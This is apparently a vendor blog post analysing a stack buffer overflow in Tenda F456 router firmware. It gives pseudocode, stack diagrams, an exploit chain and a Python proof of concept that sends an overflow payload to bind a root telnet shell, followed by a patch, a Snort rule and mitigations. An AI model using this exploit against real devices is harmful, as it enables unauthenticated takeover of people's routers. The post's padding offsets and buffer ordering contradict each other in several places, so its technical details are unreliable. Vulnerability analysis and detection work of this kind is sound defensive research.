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CVE Analysis 2026-04-26 · 8 min read

CVE-2026-7029: Tenda F456 addressNat Stack Overflow via Unbounded strcpy

fromaddressNat() in Tenda F456 1.0.0.5 copies attacker-controlled POST parameters into fixed-size stack buffers without bounds checks, enabling unauthenticated RCE from the LAN.

#buffer-overflow#remote-code-execution#input-validation#network-accessible#firmware-vulnerability
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7029 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7029Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7029 is a stack-based buffer overflow in the Tenda F456 router firmware version 1.0.0.5. The vulnerability exists in the HTTP POST handler for /goform/addressNat, specifically inside the function fromaddressNat(). An attacker on the local network — or remotely if the management interface is exposed — can submit an oversized menufacturer or Go parameter to overwrite the saved return address on the stack, gaining arbitrary code execution under the httpd process, which typically runs as root on these devices.

The CVSS score of 8.8 (HIGH) reflects network accessibility, low attack complexity, no required privileges, and full CIA impact. A public proof-of-concept is available.

Affected Component

The vulnerable binary is httpd, the embedded web server bundled with the Tenda F456 firmware. All known builds of version 1.0.0.5 are affected. The NAT address management handler is registered at router startup and services POST requests routed to /goform/addressNat. Parameter extraction is handled via the firmware's internal CGI helper websGetVar(), which returns a raw pointer into the HTTP body buffer with no length metadata propagated to the caller.

Root Cause Analysis

The fromaddressNat() function allocates fixed-size buffers on the stack for the menufacturer and Go form fields, then copies the raw attacker-controlled string directly using strcpy(). No length validation occurs between websGetVar() returning the pointer and the copy operation.


// Decompiled pseudocode — fromaddressNat()
// File: httpd (Tenda F456 1.0.0.5, MIPS32 LE)

int fromaddressNat(webs_t wp, int argc, char **argv) {
    char   manufacturer_buf[64];   // stack buffer, fixed size
    char   go_buf[64];             // stack buffer, fixed size
    char   rule_entry[128];        // downstream scratch buffer
    int    rule_count;
    char  *p_manufacturer;
    char  *p_go;

    // websGetVar returns a raw pointer into the HTTP body — no length
    p_manufacturer = websGetVar(wp, "menufacturer", "");
    p_go           = websGetVar(wp, "Go",           "");

    // BUG: no bounds check before copy; attacker controls length entirely
    strcpy(manufacturer_buf, p_manufacturer);  // overflows at >64 bytes
    strcpy(go_buf,           p_go);            // overflows at >64 bytes

    rule_count = atoi(websGetVar(wp, "entrys", "0"));

    // Downstream processing — never reached if overflow redirects control
    build_nat_rule(rule_entry, manufacturer_buf, go_buf, rule_count);
    nvram_set("nat_manufacturer", rule_entry);

    websWrite(wp, "HTTP/1.0 200 OK\r\n\r\n");
    websDone(wp, 200);
    return 0;
}

The stack layout on a typical MIPS32 ABI call frame places manufacturer_buf at a negative offset from the saved $ra (return address). A 64-byte buffer with the return address roughly 192 bytes above the buffer base means an overflow of as little as ~128 bytes of padding plus 4 bytes of payload overwrites $ra cleanly.

Root cause: fromaddressNat() calls strcpy() into a 64-byte stack buffer using a length-unbounded pointer returned directly from websGetVar(), with no intervening bounds check.

Memory Layout

The approximate stack frame for fromaddressNat() under the MIPS O32 calling convention:


// Stack frame layout — fromaddressNat() (MIPS32 LE, O32 ABI)
// Frame size: ~0x110 bytes (approximate)

struct fromaddressNat_frame {
    /* -0x110 */ uint8_t  manufacturer_buf[64];  // strcpy target #1 — OVERFLOW ORIGIN
    /* -0x0d0 */ uint8_t  go_buf[64];            // strcpy target #2
    /* -0x090 */ uint8_t  rule_entry[128];        // scratch, downstream
    /* -0x010 */ uint32_t saved_s0;              // callee-saved register
    /* -0x00c */ uint32_t saved_s1;              // callee-saved register
    /* -0x008 */ uint32_t saved_s2;              // callee-saved register
    /* -0x004 */ uint32_t saved_ra;              // RETURN ADDRESS — overwrite target
};

STACK STATE BEFORE OVERFLOW (top = high address):
  [  saved $ra         ]  <- 4 bytes: legitimate httpd dispatcher return addr
  [  saved $s2         ]  <- 4 bytes
  [  saved $s1         ]  <- 4 bytes
  [  saved $s0         ]  <- 4 bytes
  [  rule_entry[128]   ]  <- downstream scratch
  [  go_buf[64]        ]  <- strcpy target #2
  [  manufacturer_buf[64] ] <- strcpy writes HERE, ascending upward

STACK STATE AFTER OVERFLOW (menufacturer = 196-byte payload):
  [  0x2f62696e        ]  <- saved $ra OVERWRITTEN  ("/bin" = libc gadget addr)
  [  0x41414141        ]  <- saved $s2 — attacker pad
  [  0x41414141        ]  <- saved $s1 — attacker pad
  [  0x41414141        ]  <- saved $s0 — attacker pad
  [  AAAA...AAAA       ]  <- rule_entry: 128 bytes of attacker data
  [  AAAA...AAAA       ]  <- go_buf:     64 bytes of attacker data
  [  AAAA...AAAA       ]  <- manufacturer_buf: 64 bytes — overflow begins here

Exploitation Mechanics

Because httpd on the Tenda F456 is statically linked against uClibc with no PIE and ASLR is absent on the MIPS target, gadget addresses are fixed per firmware build. Stack canaries are not present in the affected binary. A straightforward ret2libc or ROP chain to system() is viable.


EXPLOIT CHAIN:
1. Identify firmware build — confirm version 1.0.0.5 via /goform/GetRouterStatus
   or banner; extract gadget offsets from static httpd binary.

2. Craft POST body:
     menufacturer = [64 bytes padding]          // fills manufacturer_buf
                  + [128 bytes padding]         // traverses rule_entry
                  + [64 bytes padding]          // traverses go_buf
                  + [4 bytes: saved $s0 value]  // preserve or clobber
                  + [4 bytes: saved $s1 value]
                  + [4 bytes: saved $s2 value]
                  + [4 bytes: target $ra]       // e.g., ROP gadget or system()
     Go           = "/bin/telnetd -l /bin/sh"   // command string in go_buf

3. Deliver request — no authentication required on default LAN config:
     POST /goform/addressNat HTTP/1.1
     Host: 192.168.0.1
     Content-Type: application/x-www-form-urlencoded
     Content-Length: 

     menufacturer=&Go=/bin/telnetd+-l+/bin/sh&entrys=1

4. strcpy() in fromaddressNat() copies payload, overwriting saved $ra with
   ROP gadget address pointing into uClibc's system() trampoline.

5. Function epilogue restores $ra from stack, executes `jr $ra` — control
   transferred to attacker-controlled address.

6. system() executes Go parameter value ("/bin/telnetd -l /bin/sh"),
   binding an unauthenticated root shell on TCP/23.

Even without ROP, a simple ret2system works because the Go buffer, written before manufacturer_buf is overflowed, sits at a known static offset and contains the command string at the time of the jump.


#!/usr/bin/env python3
# CVE-2026-7029 — Tenda F456 1.0.0.5 — PoC skeleton
# Demonstrates overflow structure; gadget address is build-specific.

import requests

TARGET      = "http://192.168.0.1"
SYSTEM_ADDR = 0x????????  # extract from httpd: `nm httpd | grep " system"`

# Offsets: manufacturer_buf(64) + rule_entry(128) + go_buf(64) + s0(4) + s1(4) + s2(4)
PAD_LEN = 64 + 128 + 64 + 4 + 4 + 4   # = 268 bytes to reach saved $ra

payload = b"A" * PAD_LEN
payload += SYSTEM_ADDR.to_bytes(4, "little")  # overwrite saved $ra

data = {
    "menufacturer": payload.decode("latin-1"),
    "Go":           "/bin/telnetd -l /bin/sh",
    "entrys":       "1",
}

r = requests.post(f"{TARGET}/goform/addressNat", data=data, timeout=5)
print(f"[*] Sent {len(payload)+4} byte overflow — check port 23")

Patch Analysis

The correct fix introduces an explicit length check using strnlen() on the value returned by websGetVar() before any copy, and replaces strcpy() with the bounded strncpy() variant. An alternative — preferred in modern embedded firmware — is to sanitize at the websGetVar() layer itself and return a pre-truncated string.


// BEFORE (vulnerable — Tenda F456 1.0.0.5):
p_manufacturer = websGetVar(wp, "menufacturer", "");
p_go           = websGetVar(wp, "Go",           "");

strcpy(manufacturer_buf, p_manufacturer);  // unbounded — BUG
strcpy(go_buf,           p_go);            // unbounded — BUG


// AFTER (patched):
#define MFGR_BUF_MAX  63
#define GO_BUF_MAX    63

p_manufacturer = websGetVar(wp, "menufacturer", "");
p_go           = websGetVar(wp, "Go",           "");

// Reject oversized input before any copy operation
if (strnlen(p_manufacturer, MFGR_BUF_MAX + 1) > MFGR_BUF_MAX ||
    strnlen(p_go,           GO_BUF_MAX   + 1) > GO_BUF_MAX) {
    websWrite(wp, "HTTP/1.0 400 Bad Request\r\n\r\n");
    websDone(wp, 400);
    return -1;
}

strncpy(manufacturer_buf, p_manufacturer, MFGR_BUF_MAX);
manufacturer_buf[MFGR_BUF_MAX] = '\0';

strncpy(go_buf, p_go, GO_BUF_MAX);
go_buf[GO_BUF_MAX] = '\0';

A defense-in-depth measure would also enforce input validation at the HTTP layer — rejecting requests where any single parameter value exceeds a reasonable maximum (e.g., 256 bytes) before dispatch to the CGI handler.

Detection and Indicators

On the wire, exploitation attempts are identifiable by anomalously large POST bodies to /goform/addressNat with a menufacturer or Go field exceeding 64 bytes. Legitimate use of this endpoint involves short manufacturer strings and simple navigation targets.


DETECTION SIGNATURES:

Network (Snort/Suricata):
  alert http any any -> $HOME_NET 80 (
      msg:"CVE-2026-7029 Tenda F456 addressNat overflow attempt";
      flow:established,to_server;
      http.method; content:"POST";
      http.uri; content:"/goform/addressNat";
      http.request_body; content:"menufacturer=";
      byte_jump:0,13,relative;
      isdataat:65,relative;       // parameter value exceeds buffer size
      sid:20267029; rev:1;
  )

Host (filesystem indicators post-exploitation):
  - Unexpected listener on TCP/23 (telnetd): `netstat -tnlp | grep :23`
  - /tmp/sh or /tmp/*.elf dropped by stage-2 payload
  - Anomalous httpd child processes with shell ancestry

Syslog pattern (if logging enabled):
  httpd: segfault or watchdog reset immediately following POST to addressNat

Remediation

Primary: Apply firmware update from Tenda when available. Monitor the vendor advisory page for build 1.0.0.6 or later.

Interim mitigations:

  • Restrict access to the router management interface (port 80/443) to trusted LAN hosts only via ACL or firewall rule.
  • Disable remote management if enabled — the attack surface drops to LAN-only, requiring physical or prior network access.
  • Monitor for unsolicited telnet listeners or unexpected outbound connections from the gateway IP.
  • Where the device sits behind a CPE with its own firewall, ensure the management VLAN is isolated from untrusted client segments.

There is no viable workaround that preserves NAT address management functionality while fully neutralizing the vulnerability short of patching the binary — the parameter is required for the feature and the copy path is unconditional.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
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